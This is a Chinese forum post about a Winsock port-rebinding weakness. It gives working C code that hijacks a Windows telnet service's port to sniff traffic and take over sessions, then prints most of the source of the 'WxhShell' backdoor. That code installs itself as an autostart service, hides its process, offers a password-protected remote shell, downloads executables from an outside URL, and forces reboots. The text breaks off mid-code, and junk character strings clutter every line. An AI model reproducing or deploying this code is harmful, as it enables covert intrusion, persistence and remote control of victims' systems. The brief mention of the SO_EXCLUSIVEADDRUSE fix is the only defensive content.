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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 02# b:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~*cY&  9  
y 8d`},  
  saddr.sin_family = AF_INET;  'QekQ];  
X>@.-{6T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =-Q  
$5Y^fwIK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?%za:{  
z)<pqN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2=/g~rp*  
j]F#p R}p  
  这意味着什么?意味着可以进行如下的攻击: ev;5 ?9\E  
YnO1Lf@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m)[wZP*e  
dl7p1Cr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XvzV lKL  
sNk>0 X[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P B6/<n9#  
WEV{C(u<k!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [[66[;  
|E_+*1lq.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .J6 j"  
;cm{4%=Iqe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k0 e|8g X  
]-s`#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s<r.+zqW  
#;*ai\6>vD  
  #include :J4C'N  
  #include %wjU^Urya  
  #include J*lYH]s  
  #include    ZV<y=F*~f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Dgq[g_+l  
  int main() |z7Crz  
  { 85@6uBh  
  WORD wVersionRequested; 7jg(j~tQ  
  DWORD ret; n,Mw# r?y  
  WSADATA wsaData; J>|:T  
  BOOL val; wgR@M[]o;  
  SOCKADDR_IN saddr; {u=\-|t  
  SOCKADDR_IN scaddr; CD<u@l,1  
  int err; sImxa`kb  
  SOCKET s; 2|NyAtPb5  
  SOCKET sc; _2 !e!Z  
  int caddsize; ^nm!NL{z^  
  HANDLE mt; eP'kY(g8   
  DWORD tid;   \7tvNa,C  
  wVersionRequested = MAKEWORD( 2, 2 ); "KT nX#<0  
  err = WSAStartup( wVersionRequested, &wsaData ); xo_k"'f+  
  if ( err != 0 ) { "vRqtEBO@  
  printf("error!WSAStartup failed!\n"); (uK), *6B  
  return -1; 1]3bx N  
  } 4a\+o]  
  saddr.sin_family = AF_INET; &fy8,}  
   6C51:XQO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "N/K*  
Vq7 kA "  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I/-w65J]  
  saddr.sin_port = htons(23); <@j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rMFZ#38d  
  { 7<Js'\Z  
  printf("error!socket failed!\n"); PaeafL65=  
  return -1; :@8.t,|  
  } ?# c@Ag %  
  val = TRUE; ;Wh[q*A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !skWe~/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?&nz  
  { 6)<oO(  
  printf("error!setsockopt failed!\n"); nMoF;AdKm  
  return -1; -^ ayJ73  
  } td$6:)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xs`gN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zw9ULQ$#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h?tV>x/Fu  
$`{q =  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) daJ-H  
  { CrX-?$  
  ret=GetLastError(); os ud  
  printf("error!bind failed!\n"); .7Bav5 ;  
  return -1; CMjPp`rA  
  } ywtDz8!^u  
  listen(s,2); ;ypO'  
  while(1) tl^;iE!-  
  { 8-6{MJ?F  
  caddsize = sizeof(scaddr); /!8:/7r+W  
  //接受连接请求 (X'K)*G#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F+-MafN7Y  
  if(sc!=INVALID_SOCKET) U]&%EqLS  
  { dM.Ow!j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  ]= D  
  if(mt==NULL) Qnc S&  
  { sJYX[  
  printf("Thread Creat Failed!\n"); ArKrsI#H-  
  break; ~;a* Oxt  
  } Dp'af4+%$  
  } oYm"NDS_.  
  CloseHandle(mt); TU6EE  
  } *Y>'v%  
  closesocket(s); u-cC}DP  
  WSACleanup(); !aoO,P#j  
  return 0; \05C'z3]  
  }   cl8Mv  
  DWORD WINAPI ClientThread(LPVOID lpParam) x6P^IkL:  
  { j}Mpc;XOc  
  SOCKET ss = (SOCKET)lpParam; !LESRh?  
  SOCKET sc; SK2pOZN  
  unsigned char buf[4096]; 05DtU!3O  
  SOCKADDR_IN saddr; wOSNlbQ5jl  
  long num; RT 9|E80  
  DWORD val; [)KfRk?};2  
  DWORD ret; Jx,s.Z0@7,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e=C,`&s z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RR9s%>^  
  saddr.sin_family = AF_INET; R'_[RHFC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w%"q=V  
  saddr.sin_port = htons(23); d@~)Wlje  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7wiu%zfa:=  
  { svII =JB  
  printf("error!socket failed!\n"); ;">hCM7  
  return -1; p_5+L@%Gb  
  } *9 xD]ZZF  
  val = 100; =Ih_[$1dw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 34:=A0z  
  { ng\S%nA&J  
  ret = GetLastError(); Iu]P^8  
  return -1; $NSYQF%aO  
  } {643Dz<e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r,\(Y@I  
  { 8;@eY`0(  
  ret = GetLastError(); -A~<IyPt  
  return -1; dzap]RpB  
  } _;+&'=6.[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }s9J+m  
  { ~M=`f{-$K  
  printf("error!socket connect failed!\n"); /vU31_eZt  
  closesocket(sc); ^|2qD: ;  
  closesocket(ss); 0 $r{h}[^c  
  return -1; SX.v5plhc  
  } t `oP;  
  while(1) fzcT(y  
  { RdjUw#\33b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T/nRc_I+^B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [DviN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5,3h'\ "!  
  num = recv(ss,buf,4096,0); *&km5@*  
  if(num>0) mv_-|N~  
  send(sc,buf,num,0); tVwN92*J  
  else if(num==0) v}U;@3W8U  
  break; 0&|-wduR=  
  num = recv(sc,buf,4096,0); 4ai3@f5  
  if(num>0) {WChD&v  
  send(ss,buf,num,0); Z(cgI5Pu  
  else if(num==0) %$U+?lk}  
  break; g|Cnj  
  } NoT oLt\  
  closesocket(ss); ~EymD *  
  closesocket(sc); *^]ba>  
  return 0 ; pbNVj~#6  
  } X|:O`b$G  
i@6 kI C  
:\Dm=Q\  
========================================================== -ydT%x  
BR*U9K|W  
下边附上一个代码,,WXhSHELL `Bx CTwc  
bk|>a=o3  
========================================================== 2zAS \Y  
W#$rC<Jh]  
#include "stdafx.h" eL*Edl|#  
!Wk "a7  
#include <stdio.h> *e=e7KC6kI  
#include <string.h> *Zln\Sx  
#include <windows.h> W/+0gh7`,(  
#include <winsock2.h> #gP\q?5Ov  
#include <winsvc.h> _nF_RpS  
#include <urlmon.h> zc_3\N  
d] {^  
#pragma comment (lib, "Ws2_32.lib") y~w$>7U.  
#pragma comment (lib, "urlmon.lib") .Q7z<Q  
j`bOJTBE  
#define MAX_USER   100 // 最大客户端连接数 :?zOLw?(  
#define BUF_SOCK   200 // sock buffer F C"dQ  
#define KEY_BUFF   255 // 输入 buffer q;U[f6JjE  
s;L7 _.hH@  
#define REBOOT     0   // 重启 !GO4cbdQ  
#define SHUTDOWN   1   // 关机 K=;p^dE  
^K8Ey#T  
#define DEF_PORT   5000 // 监听端口 {Q0"uE)-.  
-LF^u;s8&S  
#define REG_LEN     16   // 注册表键长度 W,vb7v'  
#define SVC_LEN     80   // NT服务名长度 F"_SCA?9?  
IP-mo!Y.  
// 从dll定义API n/?_]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z}Q54,9m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o(}vR<tD\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >qOhzbAH{<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =2< >dM#`  
%@LVoP!@!  
// wxhshell配置信息 ,+f'%)s_x  
struct WSCFG { {epsiHK@tK  
  int ws_port;         // 监听端口 y5>H>NS  
  char ws_passstr[REG_LEN]; // 口令 M!,WU[mP  
  int ws_autoins;       // 安装标记, 1=yes 0=no C{4[7  
  char ws_regname[REG_LEN]; // 注册表键名 NcdOzx>  
  char ws_svcname[REG_LEN]; // 服务名 +<I>]J2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'w DNP_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mN, Od?q[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f"S^:F0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )g)X~]*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V5m4dQ>t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |iU#!+zY  
XvWUJ6M  
}; X ZfT;!wF&  
AFyf7^^k  
// default Wxhshell configuration @hp@*$#& 9  
struct WSCFG wscfg={DEF_PORT, ZPHB$]ri  
    "xuhuanlingzhe", #49,7OBU  
    1, *?cE]U6;  
    "Wxhshell", N|wI=To  
    "Wxhshell", zl$'W=[rFs  
            "WxhShell Service", |?g k%g  
    "Wrsky Windows CmdShell Service", .z+ [3Oj_E  
    "Please Input Your Password: ", JS} iNS'X  
  1, Y}QtgZEt  
  "http://www.wrsky.com/wxhshell.exe", aVEg%8  
  "Wxhshell.exe" y]+q mNw"+  
    }; x^&D8&4^  
Enyx+]9  
// 消息定义模块 Cjdw@v0;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zgd| J T7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s"s^rC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7vZznN8e  
char *msg_ws_ext="\n\rExit."; U,\3 !D0jt  
char *msg_ws_end="\n\rQuit."; |bA\>%~  
char *msg_ws_boot="\n\rReboot..."; @uXF(KDX  
char *msg_ws_poff="\n\rShutdown..."; g m'8,ZL  
char *msg_ws_down="\n\rSave to "; qX>mOW^gT8  
@p~f*b4H?  
char *msg_ws_err="\n\rErr!"; 8tJB/P w`S  
char *msg_ws_ok="\n\rOK!"; A&XI1. j6  
?hHVawt  
char ExeFile[MAX_PATH]; 8Th{(J_  
int nUser = 0; %|Sh|\6A!  
HANDLE handles[MAX_USER]; ei%L[>N  
int OsIsNt; 8cI<~|4_  
L;6L@D6  
SERVICE_STATUS       serviceStatus; :(ni/,~Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,NB?_\$c  
j6}/pe*;;T  
// 函数声明 zg>4/10P1q  
int Install(void); DC+ p s  
int Uninstall(void); _[M*o0[@W  
int DownloadFile(char *sURL, SOCKET wsh); \\}tD@V"  
int Boot(int flag); vuN!7*d+  
void HideProc(void); l1 Nr5PT  
int GetOsVer(void); NpqK+GO  
int Wxhshell(SOCKET wsl); oy{ {d  
void TalkWithClient(void *cs); FK ? g  
int CmdShell(SOCKET sock); `,~8(rIM  
int StartFromService(void); d>k)aIYp  
int StartWxhshell(LPSTR lpCmdLine); xQ~}9Kt\  
`?P)RS30  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [ H|ifi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S3fyt]pp  
-aSj-  
// 数据结构和表定义 AXN%b2  
SERVICE_TABLE_ENTRY DispatchTable[] = ZE393FnE  
{ ebv"`0K$  
{wscfg.ws_svcname, NTServiceMain}, 9IfeaoZZ4q  
{NULL, NULL} wB%N}bi!  
}; >_esLsPWh]  
?azi(ja  
// 自我安装 C[c^zn  
int Install(void) $Jc>B#1  
{ e:`d)GE  
  char svExeFile[MAX_PATH]; <e)u8+(  
  HKEY key; zfGS=@e]G  
  strcpy(svExeFile,ExeFile); 6Z ,GD  
D^dos`L0b  
// 如果是win9x系统,修改注册表设为自启动 ^t0Yh%V7  
if(!OsIsNt) { jq_E{Dq1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @3g$H[}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BU;o$"L  
  RegCloseKey(key); V =9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yUY* l@v]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MqKf'6z  
  RegCloseKey(key); }[FP"#  
  return 0; T #OrsJdu  
    } ?mq<#/qb  
  } OK8|w]-A  
} P[L] S7FTr  
else { <0sT  
og$%`o:{  
// 如果是NT以上系统,安装为系统服务 .=`r?#0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <<vT"2Q]  
if (schSCManager!=0) CT2L }5L&  
{ 1ZZ}ojq  
  SC_HANDLE schService = CreateService 8 o^ h\9I  
  ( _DD.#YB</  
  schSCManager, 09_5niaz[  
  wscfg.ws_svcname, wbImE;-Z  
  wscfg.ws_svcdisp, q{RH/. l  
  SERVICE_ALL_ACCESS, P;' xa^Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V!&O5T(~  
  SERVICE_AUTO_START, f=,(0ygt/  
  SERVICE_ERROR_NORMAL, ]Oh8LcE#BF  
  svExeFile, 'h*^;3@*  
  NULL, b~Q8&z2  
  NULL, xtq='s8e  
  NULL, f#>ubmuI^  
  NULL, c|hT\1XR,  
  NULL r5wy]z^  
  ); 0x1#^dII  
  if (schService!=0) ;;{!wA+"D  
  { rEfo)jod  
  CloseServiceHandle(schService); &i{>Li  
  CloseServiceHandle(schSCManager); #)7THx/=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |%HTBF  
  strcat(svExeFile,wscfg.ws_svcname); -1z<,IN+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :*<UCn""  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wR@"]WkR=  
  RegCloseKey(key); Nk ~"f5q7  
  return 0; @w[2 BaDt  
    } j~;kh_  
  } ZNN^  
  CloseServiceHandle(schSCManager); 9*b(\Z)N  
} #[LnDU8>9  
} :GBM`f@  
A@81wv  
return 1; y} W-OLE  
} kuI%0) iZn  
GB&^<@  
// 自我卸载 K.P1|  
int Uninstall(void) +[_mSt  
{ ^V;h>X|  
  HKEY key; yzH[~O7  
7}%Z>  
if(!OsIsNt) { \.l8]LH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h,!`2_&UQ  
  RegDeleteValue(key,wscfg.ws_regname); |08'd5  
  RegCloseKey(key); HA#9y;\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  |Ym3.hz  
  RegDeleteValue(key,wscfg.ws_regname); +_"AF|  
  RegCloseKey(key); Op>l~{{{  
  return 0; )&pcRFl  
  } +`]AutNv  
} Nfo`Q0\[P  
} 2}<_l 2  
else { N:% }KAc  
*+rWn*L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WH^^.^(i  
if (schSCManager!=0) CA[3 R  
{ q!!gn1PT(T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o >Faq+@  
  if (schService!=0) -Ed<Kl  
  { >Y 8\I  
  if(DeleteService(schService)!=0) { X :wfmb  
  CloseServiceHandle(schService); X Z4q{^o  
  CloseServiceHandle(schSCManager); qC4Q+"'  
  return 0; S:YQVj  
  } HB:VpNFn  
  CloseServiceHandle(schService); W^8MsdM  
  } !L?diR  
  CloseServiceHandle(schSCManager); EZb_8<DH  
} Uw5AHq).  
} @{LD_>R  
<l!{j?Kx  
return 1; Ef2i#BoZ  
} -)E nr6  
K|V<e[X[V  
// 从指定url下载文件 kPvR ,  
int DownloadFile(char *sURL, SOCKET wsh) dh0nB  
{ RTQtXv6mD  
  HRESULT hr; u?%FD~l:uU  
char seps[]= "/"; 9ymx;  
char *token; , aJC7'(  
char *file; ZgI?#e  
char myURL[MAX_PATH]; ;&OVV+y  
char myFILE[MAX_PATH]; `:#IZ  
YQN@;  
strcpy(myURL,sURL); /^rJ`M[;  
  token=strtok(myURL,seps); :N#8|;J1Fl  
  while(token!=NULL) .u3Z*+  
  { 3;Y 9<  
    file=token; N;mJHr3[F  
  token=strtok(NULL,seps); .9VhDrCK  
  } F|bg2)|du8  
r$WBEt,B  
GetCurrentDirectory(MAX_PATH,myFILE); -I'Jm=q3]  
strcat(myFILE, "\\"); /|LQ?n  
strcat(myFILE, file); ,vs#(d6G  
  send(wsh,myFILE,strlen(myFILE),0); Y{D?&x%yq  
send(wsh,"...",3,0); (U([T-H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VxW>Xx G0  
  if(hr==S_OK) \ IX|{]*D  
return 0; ^`+Kjhht  
else ;|r<mT/,  
return 1; *6/OLAkyF  
c0f8*O4i  
} b"pN;v  
4)Ab]CdD  
// 系统电源模块 9][A1 +"  
int Boot(int flag) k< $(  
{ bR*} s/  
  HANDLE hToken; +HkEbR'G0  
  TOKEN_PRIVILEGES tkp; I' 'X\/|  
Oh; V%G  
  if(OsIsNt) { ZfVw33z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y,M 2 D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y$0K}`{  
    tkp.PrivilegeCount = 1; @pN6uDD}R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~u-_DOA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zn#lFPj12  
if(flag==REBOOT) { bltZQI|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n'9&q]GN|  
  return 0; /[+qw%>  
} %@^9(xTE  
else { Nn{/_QG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,% *Jm  
  return 0; jhB+ ]  
} so_^%) gdJ  
  } iJSyi;l|  
  else { 1EQLsg`d^  
if(flag==REBOOT) { 51'{Jx8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  U92?e}=]  
  return 0; jygKw+C  
} bo[[<j!"I  
else { jwO7r0?\`G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) plgiQr #  
  return 0; kb[+II  
} 1O+$"5H  
} >o5eyi  
\OVw  
return 1; ,:pKNWY)Q  
} xM13OoU  
7-MyiCt  
// win9x进程隐藏模块 rq|>z.  
void HideProc(void) v-XB\|f  
{ J=B,$4)9  
nmoC(| r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q],/%W  
  if ( hKernel != NULL ) G\#dMCk?  
  { <ELqj2`c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X!K:V~WG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iCdq-r/r!6  
    FreeLibrary(hKernel); `! _mIh}  
  } H iEQs|""'  
oB%j3aAH  
return; # N'_~:H  
} v2}>/b)  
)w0K2&)A  
// 获取操作系统版本 "tz`@3,5dN  
int GetOsVer(void) M [6WcH0/T  
{ PY[!H<tt  
  OSVERSIONINFO winfo; 79Q>t%rD[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dwz {Yw(  
  GetVersionEx(&winfo); #.|MV}6rQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >:P-3#e*  
  return 1; yTh60U  
  else )P9&I.a8  
  return 0; c{!XDiT]P  
} 2qPQ3-'  
\"l/D?+Q  
// 客户端句柄模块 M (.Up  
int Wxhshell(SOCKET wsl) *7K)J8kq  
{ jo ~p#l.'  
  SOCKET wsh; Q*]y=Za#:  
  struct sockaddr_in client; Mf`@X[-;  
  DWORD myID; Rs53R$PIR  
y-vQ4G5F|  
  while(nUser<MAX_USER) qWw{c&{Q],  
{ c'Zs2s7$  
  int nSize=sizeof(client); U&L?IT=x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $GX9-^og=T  
  if(wsh==INVALID_SOCKET) return 1; ThYHVJ[;  
=R0#WMf$@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7_ao?}g  
if(handles[nUser]==0) |"k+j_/+  
  closesocket(wsh); cfUG)-]P~  
else c8M'/{4rH  
  nUser++; qh/}/Sl;  
  } fC!+"g55  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {WN??eys,  
xkmqf7w  
  return 0; at5=Zo[bP  
} kUQdi%3yY;  
3L-}B#tI  
// 关闭 socket @ \JoICz  
void CloseIt(SOCKET wsh) H]&^>Pvh  
{ rPF2IS(5  
closesocket(wsh); h0Ilxa   
nUser--; h|XLL|:  
ExitThread(0); Gcd'- 1  
} #mH4\s  
KmaMS(A(3  
// 客户端请求句柄 75RQ\_zDu  
void TalkWithClient(void *cs) E~eSHJ(oR7  
{ m>LC2S; f  
hT[w" &3  
  SOCKET wsh=(SOCKET)cs; V"Y-|R  
  char pwd[SVC_LEN]; Qj(|uGqm3  
  char cmd[KEY_BUFF]; }?=4pGsI  
char chr[1]; W5zlU2  
int i,j; 0j(/N  
wsyAq'%L  
  while (nUser < MAX_USER) { ,-_\Y hY>  
+G lb  
if(wscfg.ws_passstr) { Yp8GW1@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6@cT;=W;xj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O`Ge|4  
  //ZeroMemory(pwd,KEY_BUFF); 6YpP/ K  
      i=0; e$=0.GWT  
  while(i<SVC_LEN) { q5u"v  
zIh`Vw,t0  
  // 设置超时 A"R5Fd%6pc  
  fd_set FdRead; E>3(ff&  
  struct timeval TimeOut; H?W8_XiN  
  FD_ZERO(&FdRead); !%Qm{R  
  FD_SET(wsh,&FdRead); 2N[S*#~*e  
  TimeOut.tv_sec=8; g=_@j`  
  TimeOut.tv_usec=0; DW.vu%j^[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d6;"zW|Ec  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j SXVLyz  
3( `NHS~h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;&MI M`&$  
  pwd=chr[0]; DSc:>G  
  if(chr[0]==0xd || chr[0]==0xa) { 89X`U)Ws  
  pwd=0; 3 CArUP  
  break; ~ (/OB w  
  } @?\[M9yK  
  i++; l8Ks{(wh  
    } Zm~oV?6  
Ht!]%  
  // 如果是非法用户,关闭 socket (_'Efpg|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UA]U_P$c  
} tf_<w?~  
@ob4y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tp3]?@0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WwBs_OMc  
TSHQ>kP  
while(1) { gS$?#!f  
T\Ld)'fNv  
  ZeroMemory(cmd,KEY_BUFF); wYIlp  
M h5>@-fEE  
      // 自动支持客户端 telnet标准   lay)I11- >  
  j=0; %an&lcoX  
  while(j<KEY_BUFF) { 7U_OUUg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S eTn]  
  cmd[j]=chr[0]; cczV}m2)  
  if(chr[0]==0xa || chr[0]==0xd) { }:2GD0Ru  
  cmd[j]=0; pwG"_|h  
  break; /a:sWmxMT  
  } 2J5RZg9jL  
  j++; jdWA)N}kDG  
    } Tz{f 5c&  
bw& U[|A0%  
  // 下载文件 |E#+X  
  if(strstr(cmd,"http://")) { D?:AHj%gW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F vt5vQ  
  if(DownloadFile(cmd,wsh)) qkk!1W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _bm8m4Lk  
  else O${B)C,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /$NZj" #  
  } FT/STI  
  else { PA_54a9/<  
qZz?i  
    switch(cmd[0]) { "ke>O'   
  0l&#%wmJ,  
  // 帮助 _2N7E#m"S  
  case '?': { ?1kXV n$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g4-UBDtYt  
    break; k9Xv@v  
  } -{ M(1vV(=  
  // 安装 O h{ >xg  
  case 'i': { n?=d)[]  
    if(Install()) Y)oF;ko:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rM y(NAo_  
    else }> pNf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S7Tc9"oqV  
    break; wYLi4jYm  
    } aIXN wnq  
  // 卸载 @j/|U04_ Z  
  case 'r': { 9nrmz>es|-  
    if(Uninstall()) : 3 aZ_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TyG;BF|rwk  
    else zOfMKrRG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f+xhS,iDR  
    break; aR0'$*3E  
    } lc qpwSk  
  // 显示 wxhshell 所在路径 )GC9%mF;  
  case 'p': { 6hX[5?}  
    char svExeFile[MAX_PATH];  ZFH;  
    strcpy(svExeFile,"\n\r"); @7j$$  
      strcat(svExeFile,ExeFile); yy(.|  
        send(wsh,svExeFile,strlen(svExeFile),0); t<DZW#  
    break; b\9MM  
    } \lBY4j+;  
  // 重启 J'H}e F`  
  case 'b': { @?!&M c2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V[RsSZx =  
    if(Boot(REBOOT)) =)Z~ w`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1>IA9]D7  
    else { I #8TY/XP  
    closesocket(wsh); XK=-$2n  
    ExitThread(0); &o]ic(74c?  
    } 'n dXM   
    break; D%%@+3a  
    } JMVh\($,x  
  // 关机 "eb+O  
  case 'd': { E$1P H)  
